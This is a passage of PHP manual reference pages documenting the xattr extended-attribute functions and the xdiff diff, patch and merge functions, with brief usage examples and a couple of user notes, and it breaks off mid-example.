Resource Types
xattr Functions
xattr


xattr Functions

Table of Contents

  • xattr_get — Get an extended attribute
  • xattr_list — Get a list of extended attributes
  • xattr_remove — Remove an extended attribute
  • xattr_set — Set an extended attribute
  • xattr_supported — Check if filesystem supports extended attributes

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
xattr_get
xattr


Get an extended attribute

xattr Functions
xattr_list
xattr Functions
PHP Manual

xattr_get

(PECL xattr >= 0.9.0)

xattr_get — Get an extended attribute

Description

string xattr_get ( string $filename , string $name [, int $flags = 0 ] )

This function gets the value of an extended attribute of a file.

Extended attributes have two different namespaces: user and root. The user namespace is available to all users, while the root namespace is available only to users with root privileges. xattr operates on the user namespace by default, but this can be changed with the flags parameter.

Parameters

filename

The file from which we get the attribute.

name

The name of the attribute.

flags

Supported xattr flags
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

Return Values

Returns a string containing the value or FALSE if the attribute doesn't exist.

Examples

Example #1 Checks if system administrator has signed the file

<?php
$file = '/usr/local/sbin/some_binary';
$signature = xattr_get($file, 'Root signature', XATTR_ROOT);

/* ... check if $signature is valid ... */

?>

See Also

  • xattr_list() - Get a list of extended attributes
  • xattr_set() - Set an extended attribute
  • xattr_remove() - Remove an extended attribute

User Contributed Notes

There are no user contributed notes for this page.
xattr Functions
xattr_list
xattr Functions


Get a list of extended attributes

xattr_get
xattr_remove
xattr Functions
PHP Manual

xattr_list

(PECL xattr >= 0.9.0)

xattr_list — Get a list of extended attributes

Description

array xattr_list ( string $filename [, int $flags = 0 ] )

This functions gets a list of names of extended attributes of a file.

Extended attributes have two different namespaces: user and root. The user namespace is available to all users, while the root namespace is available only to users with root privileges. xattr operates on the user namespace by default, but this can be changed with the flags parameter.

Parameters

filename

The path of the file.

flags

Supported xattr flags
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

Return Values

This function returns an array with names of extended attributes.

Examples

Example #1 Prints names of all extended attributes of file

<?php
$file = 'some_file';
$root_attributes = xattr_list($file, XATTR_ROOT);
$user_attributes = xattr_list($file);

echo "Root attributes: \n";
foreach ($root_attributes as $attr_name) {
    printf("%s\n", $attr_name);
}

echo "\n User attributes: \n";
foreach ($attributes as $attr_name) {
    printf("%s\n", $attr_name);
}

?>

See Also

  • xattr_get() - Get an extended attribute

User Contributed Notes

There are no user contributed notes for this page.
xattr_get
xattr_remove
xattr Functions


Remove an extended attribute

xattr_list
xattr_set
xattr Functions
PHP Manual

xattr_remove

(PECL xattr >= 0.9.0)

xattr_remove — Remove an extended attribute

Description

bool xattr_remove ( string $filename , string $name [, int $flags = 0 ] )

This function removes an extended attribute of a file.

Extended attributes have two different namespaces: user and root. The user namespace is available to all users, while the root namespace is available only to users with root privileges. xattr operates on the user namespace by default, but this can be changed with the flags parameter.

Parameters

filename

The file from which we remove the attribute.

name

The name of the attribute to remove.

flags

Supported xattr flags
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Removes all extended attributes of a file

<?php
$file = 'some_file';
$attributes = xattr_list($file);

foreach ($attributes as $attr_name) {
    xattr_remove($file, $attr_name);
}
?>

See Also

  • xattr_list() - Get a list of extended attributes
  • xattr_set() - Set an extended attribute
  • xattr_get() - Get an extended attribute

User Contributed Notes

There are no user contributed notes for this page.
xattr_list
xattr_set
xattr Functions


Set an extended attribute

xattr_remove
xattr_supported
xattr Functions
PHP Manual

xattr_set

(PECL xattr >= 0.9.0)

xattr_set — Set an extended attribute

Description

bool xattr_set ( string $filename , string $name , string $value [, int $flags = 0 ] )

This function sets the value of an extended attribute of a file.

Extended attributes have two different namespaces: user and root. The user namespace is available to all users, while the root namespace is available only to users with root privileges. xattr operates on the user namespace by default, but this can be changed with the flags parameter.

Parameters

filename

The file in which we set the attribute.

name

The name of the extended attribute. This attribute will be created if it doesn't exist or replaced otherwise. You can change this behaviour by using the flags parameter.

value

The value of the attribute.

flags

Supported xattr flags
XATTR_CREATE | Function will fail if extended attribute already exists.
XATTR_REPLACE | Function will fail if extended attribute doesn't exist.
XATTR_DONTFOLLOW | Do not follow the symbolic link but operate on symbolic link itself.
XATTR_ROOT | Set attribute in root (trusted) namespace. Requires root privileges.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Sets extended attributes on .wav file

<?php
$file = 'my_favourite_song.wav';
xattr_set($file, 'Artist', 'Someone');
xattr_set($file, 'My ranking', 'Good');
xattr_set($file, 'Listen count', '34');

/* ... other code ... */

printf("You've played this song %d times", xattr_get($file, 'Listen count'));
?>

See Also

  • xattr_get() - Get an extended attribute
  • xattr_remove() - Remove an extended attribute

User Contributed Notes

There are no user contributed notes for this page.
xattr_remove
xattr_supported
xattr Functions


Check if filesystem supports extended attributes

xattr_set
xdiff
xattr Functions
PHP Manual

xattr_supported

(PECL xattr >= 1.0.0)

xattr_supported — Check if filesystem supports extended attributes

Description

bool xattr_supported ( string $filename [, int $flags = 0 ] )

This functions checks if the filesystem holding the given file supports extended attributes. Read access to the file is required.

Parameters

filename

The path of the tested file.

flags

Supported xattr flags
XATTR_DONTFOLLOW Do not follow the symbolic link but operate on symbolic link itself.

Return Values

This function returns TRUE if filesystem supports extended attributes, FALSE if it doesn't and NULL if it can't be determined (for example wrong path or lack of permissions to file).

Examples

Example #1 xattr_supported() example

The following code checks if we can use extended attributes.

<?php
$file = 'some_file';

if (xattr_supported($file)) {
    /* ... make use of some xattr_* functions ... */
}

?>

See Also

  • xattr_get() - Get an extended attribute
  • xattr_list() - Get a list of extended attributes

User Contributed Notes

There are no user contributed notes for this page.
xattr_set
xdiff
xattr Functions


xdiff

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • xdiff Functions
    • xdiff_file_bdiff_size — Read a size of file created by applying a binary diff
    • xdiff_file_bdiff — Make binary diff of two files
    • xdiff_file_bpatch — Patch a file with a binary diff
    • xdiff_file_diff_binary — Alias of xdiff_file_bdiff
    • xdiff_file_diff — Make unified diff of two files
    • xdiff_file_merge3 — Merge 3 files into one
    • xdiff_file_patch_binary — Alias of xdiff_file_bpatch
    • xdiff_file_patch — Patch a file with an unified diff
    • xdiff_file_rabdiff — Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
    • xdiff_string_bdiff_size — Read a size of file created by applying a binary diff
    • xdiff_string_bdiff — Make binary diff of two strings
    • xdiff_string_bpatch — Patch a string with a binary diff
    • xdiff_string_diff_binary — Alias of xdiff_string_bdiff
    • xdiff_string_diff — Make unified diff of two strings
    • xdiff_string_merge3 — Merge 3 strings into one
    • xdiff_string_patch_binary — Alias of xdiff_string_bpatch
    • xdiff_string_patch — Patch a string with an unified diff
    • xdiff_string_rabdiff — Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.
xattr_supported
Introduction
File System Related Extensions


Introduction

xdiff extension enables you to create and apply patch files containing differences between different revisions of files.

This extension supports two modes of operation - on strings and on files, as well as two different patch formats - unified and binary. Unified patches are excellent for text files as they are human-readable and easy to review. For binary files like archives or images, binary patches will be adequate choice as they are binary safe and handle non-printable characters well.

Starting from version 1.5.0 there are two different sets of functions for generating binary patches. New functions - xdiff_string_rabdiff() and xdiff_file_rabdiff() generate output compatible with older functions but are typically faster and generate smaller results. For more details about methods of generating binary patches and differences between them, please check » libxdiff website.

This extension uses libxdiff to implement these functions. Please see » http://www.xmailserver.org/xdiff-lib.html for more information.

User Contributed Notes

There are no user contributed notes for this page.
xdiff
Installing/Configuring
xdiff


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
xdiff


Requirements

To use xdiff, you will need libxdiff installed, available on the libxdiff homepage » http://www.xmailserver.org/xdiff-lib.html.

Note:

You'll need at least libxdiff 0.7 for these functions to be aware of memory_limit.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/xdiff.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

XDIFF_PATCH_NORMAL (integer)
This flag indicates that xdiff_string_patch() and xdiff_file_patch() functions should create result by applying patch to original content thus creating newer version of file. This is the default mode of operation.
XDIFF_PATCH_REVERSE (integer)
This flag indicated that xdiff_string_patch() and xdiff_file_patch() functions should create result by reversing patch changed from newer content thus creating original version.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
xdiff Functions
xdiff


xdiff Functions

Table of Contents

  • xdiff_file_bdiff_size — Read a size of file created by applying a binary diff
  • xdiff_file_bdiff — Make binary diff of two files
  • xdiff_file_bpatch — Patch a file with a binary diff
  • xdiff_file_diff_binary — Alias of xdiff_file_bdiff
  • xdiff_file_diff — Make unified diff of two files
  • xdiff_file_merge3 — Merge 3 files into one
  • xdiff_file_patch_binary — Alias of xdiff_file_bpatch
  • xdiff_file_patch — Patch a file with an unified diff
  • xdiff_file_rabdiff — Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
  • xdiff_string_bdiff_size — Read a size of file created by applying a binary diff
  • xdiff_string_bdiff — Make binary diff of two strings
  • xdiff_string_bpatch — Patch a string with a binary diff
  • xdiff_string_diff_binary — Alias of xdiff_string_bdiff
  • xdiff_string_diff — Make unified diff of two strings
  • xdiff_string_merge3 — Merge 3 strings into one
  • xdiff_string_patch_binary — Alias of xdiff_string_bpatch
  • xdiff_string_patch — Patch a string with an unified diff
  • xdiff_string_rabdiff — Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

mg 01-Jul-2008 09:00
This seems to be fixed with newer version of libxdiff (which is used by xdiff extension).

According to library changelog:
--------------------------------------
* Sun, Mar 26 2006 - Davide Libenzi
  Fixed the missing end of line problem for text diff and patch.
--------------------------------------
amir.laher 05-Apr-2005 02:09
the xdiff functions require your initial string to end with a \n character.

When you use xdiff_string_diff, the initial string must either be zero-length or end with \n
eg. $patch= xdiff_string_diff($string,$string2);

if not, the patch will return an empty string.
xdiff_string_patch($string,$patch);

This will not normally affect xdiff_file_diff, but it's annoying nevertheless. To prevent this unexpected effect, I append a \n to the string before applying the initial diff, as follows.
if (!ereg("\n$",$string)) $string.="\n";
Predefined Constants
xdiff_file_bdiff_size
xdiff


Read a size of file created by applying a binary diff

xdiff Functions
xdiff_file_bdiff
xdiff Functions
PHP Manual

xdiff_file_bdiff_size

(PECL xdiff >= 0.2.0)

xdiff_file_bdiff_size — Read a size of file created by applying a binary diff

Description

int xdiff_file_bdiff_size ( string $file )

Returns a size of a result file that would be created after applying binary patch from file file to the original file.

Parameters

file

The path to the binary patch created by xdiff_string_bdiff() or xdiff_string_rabdiff() function.

Return Values

Returns the size of file that would be created.

Examples

Example #1 xdiff_file_bdiff_size() example

The following code applies reads a size of file that would be created after applying a binary diff.

<?php
$length = xdiff_string_bdiff_size('file.bdiff');
echo "Resulting file will be $length bytes long";
?>

See Also

  • xdiff_file_bdiff() - Make binary diff of two files
  • xdiff_file_rabdiff() - Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm
  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff Functions
xdiff_file_bdiff
xdiff Functions


Make binary diff of two files

xdiff_file_bdiff_size
xdiff_file_bpatch
xdiff Functions
PHP Manual

xdiff_file_bdiff

(PECL xdiff >= 0.2.0)

xdiff_file_bdiff — Make binary diff of two files

Description

bool xdiff_file_bdiff ( string $old_file , string $new_file , string $dest )

Makes a binary diff of two files and stores the result in a patch file. This function works with both text and binary files. Resulting patch file can be later applied using xdiff_file_bpatch()/xdiff_string_bpatch().

Parameters

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file. Resulting file contains differences between "old" and "new" files. It is in binary format and is human-unreadable.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_bdiff() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_bdiff($old_version, $new_version, 'my_script.bdiff');
?>

Notes

Note:

Both files will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff_file_bdiff_size
xdiff_file_bpatch
xdiff Functions


Patch a file with a binary diff

xdiff_file_bdiff
xdiff_file_diff_binary
xdiff Functions
PHP Manual

xdiff_file_bpatch

(PECL xdiff >= 0.2.0)

xdiff_file_bpatch — Patch a file with a binary diff

Description

bool xdiff_file_bpatch ( string $file , string $patch , string $dest )

Patches a file with a binary patch and stores the result in a file dest. This function accepts patches created both via xdiff_file_bdiff() and xdiff_file_rabdiff() functions or their string counterparts.

Parameters

file

The original file.

patch

The binary patch file.

dest

Path of the resulting file.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_bpatch() example

The following code applies binary diff to a file.

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_bpatch($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
   echo "File patched";
} else {
   echo "File couldn't be patched";
}

?>

Notes

Note:

Both files (file and patch) will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_file_bdiff() - Make binary diff of two files
  • xdiff_file_rabdiff() - Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.
xdiff_file_bdiff
xdiff_file_diff_binary
xdiff Functions


Alias of xdiff_file_bdiff

xdiff_file_bpatch
xdiff_file_diff
xdiff Functions
PHP Manual

xdiff_file_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_file_diff_binary — Alias of xdiff_file_bdiff

Description

bool xdiff_file_diff_binary ( string $old_file , string $new_file , string $dest )

Makes a binary diff of two files and stores the result in a patch file. This function works with both text and binary files. Resulting patch file can be later applied using xdiff_file_bpatch().

Starting with version 1.5.0 this function is an alias of xdiff_file_bdiff().

Parameters

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file. Resulting file contains differences between "old" and "new" files. It is in binary format and is human-unreadable.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_diff_binary() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_diff_binary($old_version, $new_version, 'my_script.bdiff');
?>

Notes

Note:

Both files will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_file_bdiff() - Make binary diff of two files
  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff_file_bpatch
xdiff_file_diff
xdiff Functions


Make unified diff of two files

xdiff_file_diff_binary
xdiff_file_merge3
xdiff Functions
PHP Manual

xdiff_file_diff

(PECL xdiff >= 0.2.0)

xdiff_file_diff — Make unified diff of two files

Description

bool xdiff_file_diff ( string $old_file , string $new_file , string $dest [, int $context = 3 [, bool $minimal = false ]] )

Makes an unified diff containing differences between old_file and new_file and stores it in dest file. The resulting file is human-readable. An optional context parameter specifies how many lines of context should be added around each change. Setting minimal parameter to true will result in outputting the shortest patch file possible (can take a long time).

Parameters

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file.

context

Indicates how many lines of context you want to include in diff result.

minimal

Set this parameter to TRUE if you want to minimalize size of the result (can take a long time).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_diff() example

The following code makes unified diff of two php files with context length of 2.

<?php
$old_version = 'my_script.php';
$new_version = 'my_new_script.php';

xdiff_file_diff($old_version, $new_version, 'my_script.diff', 2);
?>

Notes

Note:

This function doesn't work well with binary files. To make diff of binary files use xdiff_file_bdiff()/xdiff_file_rabdiff() function.

See Also

  • xdiff_file_patch() - Patch a file with an unified diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff_file_diff_binary
xdiff_file_merge3
xdiff Functions


Merge 3 files into one

xdiff_file_diff
xdiff_file_patch_binary
xdiff Functions
PHP Manual

xdiff_file_merge3

(PECL xdiff >= 0.2.0)

xdiff_file_merge3 — Merge 3 files into one

Description

mixed xdiff_file_merge3 ( string $old_file , string $new_file1 , string $new_file2 , string $dest )

Merges three files into one and stores the result in a file dest. The old_file is an original version while new_file1 and new_file2 are modified versions of an original.

Parameters

old_file

Path to the first file. It acts as "old" file.

new_file1

Path to the second file. It acts as modified version of old_file.

new_file2

Path to the third file. It acts as modified version of old_file.

dest

Path of the resulting file, containing merged changed from both new_file1 and new_file2.

Return Values

Returns TRUE if merge was successful, string with rejected chunks if it was not or FALSE if an internal error happened.

Examples

Example #1 xdiff_file_merge3() example

The following code merges three files into one.

<?php
$old_version = 'original_script.php';
$fix1 = 'script_with_fix1.php';
$fix2 = 'script_with_fix2.php';

$errors = xdiff_file_merge3($old_version, $fix1, $fix2, 'fixed_script.php');
if (is_string($errors)) {
    echo "Rejects:\n";
    echo $errors;
}
?>

See Also

  • xdiff_string_merge3() - Merge 3 strings into one

User Contributed Notes

There are no user contributed notes for this page.
xdiff_file_diff
xdiff_file_patch_binary
xdiff Functions


Alias of xdiff_file_bpatch

xdiff_file_merge3
xdiff_file_patch
xdiff Functions
PHP Manual

xdiff_file_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_file_patch_binary — Alias of xdiff_file_bpatch

Description

bool xdiff_file_patch_binary ( string $file , string $patch , string $dest )

Patches a file with a binary patch and stores the result in a file dest. This function accepts patches created both via xdiff_file_bdiff() or xdiff_file_rabdiff() functions or their string counterparts.

Starting with version 1.5.0 this function is an alias of xdiff_file_bpatch().

Parameters

file

The original file.

patch

The binary patch file.

dest

Path of the resulting file.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_patch_binary() example

The following code applies binary diff to a file.

<?php
$old_version = 'archive-1.0.tgz';
$patch = 'archive.bpatch';

$result = xdiff_file_patch_binary($old_version, $patch, 'archive-1.1.tgz');
if ($result) {
   echo "File patched";
} else {
   echo "File couldn't be patched";
}

?>

Notes

Note:

Both files (file and patch) will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_string_patch_binary() - Alias of xdiff_string_bpatch

User Contributed Notes

There are no user contributed notes for this page.
xdiff_file_merge3
xdiff_file_patch
xdiff Functions


Patch a file with an unified diff

xdiff_file_patch_binary
xdiff_file_rabdiff
xdiff Functions
PHP Manual

xdiff_file_patch

(PECL xdiff >= 0.2.0)

xdiff_file_patch — Patch a file with an unified diff

Description

mixed xdiff_file_patch ( string $file , string $patch , string $dest [, int $flags = DIFF_PATCH_NORMAL ] )

Patches a file with a patch and stores the result in a file. patch has to be an unified diff created by xdiff_file_diff()/xdiff_string_diff() function. An optional flags parameter specifies mode of operation.

Parameters

file

The original file.

patch

The unified patch file. It has to be created using xdiff_string_diff(), xdiff_file_diff() functions or compatible tools.

dest

Path of the resulting file.

flags

Can be either XDIFF_PATCH_NORMAL (default mode, normal patch) or XDIFF_PATCH_REVERSE (reversed patch).

Starting from version 1.5.0, you can also use binary OR to enable XDIFF_PATCH_IGNORESPACE flag.

Return Values

Returns FALSE if an internal error happened, string with rejected chunks if patch couldn't be applied or TRUE if patch has been successfully applied.

Examples

Example #1 xdiff_file_patch() example

The following code applies unified diff to a file.

<?php
$old_version = 'my_script-1.0.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($old_version, $patch, 'my_script-1.1.php');
if (is_string($errors)) {
   echo "Rejects:\n";
   echo $errors;
}

?>

Example #2 Patch reversing example

The following code reverses a patch.

<?php
$new_version = 'my_script-1.1.php';
$patch = 'my_script.patch';

$errors = xdiff_file_patch($new_version, $patch, 'my_script-1.0.php', XDIFF_PATCH_REVERSE);
if (is_string($errors)) {
   echo "Rejects:\n";
   echo $errors;
}

?>

See Also

  • xdiff_file_diff() - Make unified diff of two files

User Contributed Notes

There are no user contributed notes for this page.
xdiff_file_patch_binary
xdiff_file_rabdiff
xdiff Functions


Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

xdiff_file_patch
xdiff_string_bdiff_size
xdiff Functions
PHP Manual

xdiff_file_rabdiff

(PECL xdiff >= 0.2.0)

xdiff_file_rabdiff — Make binary diff of two files using the Rabin's polynomial fingerprinting algorithm

Description

bool xdiff_file_rabdiff ( string $old_file , string $new_file , string $dest )

Makes a binary diff of two files and stores the result in a patch file. The difference between this function and xdiff_file_bdiff() is different algorithm used which should result in faster execution and smaller diff produced. This function works with both text and binary files. Resulting patch file can be later applied using xdiff_file_bpatch()/xdiff_string_bpatch().

For more details about differences between algorithm used please check » libxdiff website.

Parameters

old_file

Path to the first file. This file acts as "old" file.

new_file

Path to the second file. This file acts as "new" file.

dest

Path of the resulting patch file. Resulting file contains differences between "old" and "new" files. It is in binary format and is human-unreadable.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 xdiff_file_rabdiff() example

The following code makes binary diff of two archives.

<?php
$old_version = 'my_script_1.0.tgz';
$new_version = 'my_script_1.1.tgz';

xdiff_file_rabdiff($old_version, $new_version, 'my_script.bdiff');
?>

Notes

Note:

Both files will be loaded into memory so ensure that your memory_limit is set high enough.

See Also

  • xdiff_file_bpatch() - Patch a file with a binary diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff_file_patch
xdiff_string_bdiff_size
xdiff Functions


Read a size of file created by applying a binary diff

xdiff_file_rabdiff
xdiff_string_bdiff
xdiff Functions
PHP Manual

xdiff_string_bdiff_size

(PECL xdiff >= 0.2.0)

xdiff_string_bdiff_size — Read a size of file created by applying a binary diff

Description

int xdiff_string_bdiff_size ( string $patch )

Returns a size of a result file that would be created after applying binary patch to the original file.

Parameters

patch

The binary patch created by xdiff_string_bdiff() or xdiff_string_rabdiff() function.

Return Values

Returns the size of file that would be created.

Examples

Example #1 xdiff_string_bdiff_size() example

The following code applies reads a size of file that would be created after applying a binary diff.

<?php
$binary_patch = file_get_contents('file.bdiff');
$length = xdiff_string_bdiff_size($binary_patch);
echo "Resulting file will be $length bytes long";
?>

See Also

  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_rabdiff() - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm
  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff_file_rabdiff
xdiff_string_bdiff
xdiff Functions


Make binary diff of two strings

xdiff_string_bdiff_size
xdiff_string_bpatch
xdiff Functions
PHP Manual

xdiff_string_bdiff

(PECL xdiff >= 0.2.0)

xdiff_string_bdiff — Make binary diff of two strings

Description

string xdiff_string_bdiff ( string $old_data , string $new_data )

Makes a binary diff of two strings and returns the result. This function works with both text and binary data. Resulting patch can be later applied using xdiff_string_bpatch()/xdiff_file_bpatch().

Parameters

old_data

First string with binary data. It acts as "old" data.

new_data

Second string with binary data. It acts as "new" data.

Return Values

Returns string with binary diff containing differences between "old" and "new" data or FALSE if an internal error occurred.

See Also

  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff_string_bdiff_size
xdiff_string_bpatch
xdiff Functions


Patch a string with a binary diff

xdiff_string_bdiff
xdiff_string_diff_binary
xdiff Functions
PHP Manual

xdiff_string_bpatch

(PECL xdiff >= 0.2.0)

xdiff_string_bpatch — Patch a string with a binary diff

Description

string xdiff_string_bpatch ( string $str , string $patch )

Patches a string str with a binary patch. This function accepts patches created both via xdiff_string_bdiff() and xdiff_string_rabdiff() functions or their file counterparts.

Parameters

str

The original binary string.

patch

The binary patch string.

Return Values

Returns the patched string, or FALSE on error.

See Also

  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_rabdiff() - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.
xdiff_string_bdiff
xdiff_string_diff_binary
xdiff Functions


Alias of xdiff_string_bdiff

xdiff_string_bpatch
xdiff_string_diff
xdiff Functions
PHP Manual

xdiff_string_diff_binary

(PECL xdiff >= 0.2.0)

xdiff_string_diff_binary — Alias of xdiff_string_bdiff

Description

string xdiff_string_bdiff ( string $old_data , string $new_data )

Makes a binary diff of two strings and returns the result. This function works with both text and binary data. Resulting patch can be later applied using xdiff_string_bpatch()/xdiff_file_bpatch().

Starting with version 1.5.0 this function is an alias of xdiff_string_bdiff().

Parameters

old_data

First string with binary data. It acts as "old" data.

new_data

Second string with binary data. It acts as "new" data.

Return Values

Returns string with result or FALSE if an internal error happened.

See Also

  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff_string_bpatch
xdiff_string_diff
xdiff Functions


Make unified diff of two strings

xdiff_string_diff_binary
xdiff_string_merge3
xdiff Functions
PHP Manual

xdiff_string_diff

(PECL xdiff >= 0.2.0)

xdiff_string_diff — Make unified diff of two strings

Description

string xdiff_string_diff ( string $old_data , string $new_data [, int $context = 3 [, bool $minimal = false ]] )

Makes an unified diff containing differences between old_data string and new_data string and returns it. The resulting diff is human-readable. An optional context parameter specifies how many lines of context should be added around each change. Setting minimal parameter to true will result in outputting the shortest patch file possible (can take a long time).

Parameters

old_data

First string with data. It acts as "old" data.

new_data

Second string with data. It acts as "new" data.

context

Indicates how many lines of context you want to include in the diff result.

minimal

Set this parameter to TRUE if you want to minimalize the size of the result (can take a long time).

Return Values

Returns string with resulting diff or FALSE if an internal error happened.

Examples

Example #1 xdiff_string_diff() example

The following code makes unified diff of two articles.

<?php
$old_article = file_get_contents('./old_article.txt');
$new_article = $_REQUEST['article']; /* Let's say that someone pasted a new article to html form */

$diff = xdiff_string_diff($old_article, $new_article, 1);
if (is_string($diff)) {
    echo "Differences between two articles:\n";
    echo $diff;
}

?>

Notes

Note:

This function doesn't work well with binary strings. To make diff of binary strings use xdiff_string_bdiff()/xdiff_string_rabdiff().

See Also

  • xdiff_string_patch() - Patch a string with an unified diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff_string_diff_binary
xdiff_string_merge3
xdiff Functions


Merge 3 strings into one

xdiff_string_diff
xdiff_string_patch_binary
xdiff Functions
PHP Manual

xdiff_string_merge3

(PECL xdiff >= 0.2.0)

xdiff_string_merge3 — Merge 3 strings into one

Description

mixed xdiff_string_merge3 ( string $old_data , string $new_data1 , string $new_data2 [, string &$error ] )

Merges three strings into one and returns the result. The old_data is an original version of data while new_file1 and new_file2 are modified versions of an original. An optional error is used to pass any rejected parts during merging process.

Parameters

old_data

First string with data. It acts as "old" data.

new_data1

Second string with data. It acts as modified version of old_data.

new_data2

Third string with data. It acts as modified version of old_data.

error

If provided then rejected parts are stored inside this variable.

Return Values

Returns the merged string, FALSE if an internal error happened, or TRUE if merged string is empty.

See Also

  • xdiff_file_merge3() - Merge 3 files into one

User Contributed Notes

There are no user contributed notes for this page.
xdiff_string_diff
xdiff_string_patch_binary
xdiff Functions


Alias of xdiff_string_bpatch

xdiff_string_merge3
xdiff_string_patch
xdiff Functions
PHP Manual

xdiff_string_patch_binary

(PECL xdiff >= 0.2.0)

xdiff_string_patch_binary — Alias of xdiff_string_bpatch

Description

string xdiff_string_patch_binary ( string $str , string $patch )

Patches a string str with a binary patch. This function accepts patches created both via xdiff_string_bdiff() and xdiff_string_rabdiff() functions or their file counterparts.

Starting with version 1.5.0 this function is an alias of xdiff_string_bpatch().

Parameters

str

The original binary string.

patch

The binary patch string.

Return Values

Returns the patched string, or FALSE on error.

See Also

  • xdiff_string_bpatch() - Patch a string with a binary diff
  • xdiff_string_bdiff() - Make binary diff of two strings
  • xdiff_string_rabdiff() - Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

User Contributed Notes

There are no user contributed notes for this page.
xdiff_string_merge3
xdiff_string_patch
xdiff Functions


Patch a string with an unified diff

xdiff_string_patch_binary
xdiff_string_rabdiff
xdiff Functions
PHP Manual

xdiff_string_patch

(PECL xdiff >= 0.2.0)

xdiff_string_patch — Patch a string with an unified diff

Description

string xdiff_string_patch ( string $str , string $patch [, int $flags [, string &$error ]] )

Patches a str string with an unified patch in patch parameter and returns the result. patch has to be an unified diff created by xdiff_file_diff()/xdiff_string_diff() function. An optional flags parameter specifies mode of operation. Any rejected parts of the patch will be stored inside error variable if it is provided.

Parameters

str

The original string.

patch

The unified patch string. It has to be created using xdiff_string_diff(), xdiff_file_diff() functions or compatible tools.

flags

flags can be either XDIFF_PATCH_NORMAL (default mode, normal patch) or XDIFF_PATCH_REVERSE (reversed patch).

Starting from version 1.5.0, you can also use binary OR to enable XDIFF_PATCH_IGNORESPACE flag.

error

If provided then rejected parts are stored inside this variable.

Return Values

Returns the patched string, or FALSE on error.

Examples

Example #1 xdiff_string_patch() example

The following code applies changes to some article.

<?php
$old_article = file_get_contents('./old_article.txt');
$diff = $_SERVER['patch']; /* Let's say that someone pasted a patch to html form */

$errors = '';

$new_article = xdiff_string_patch($old_article, $diff, XDIFF_PATCH_NORMAL, $errors);
if (is_string($new_article)) {
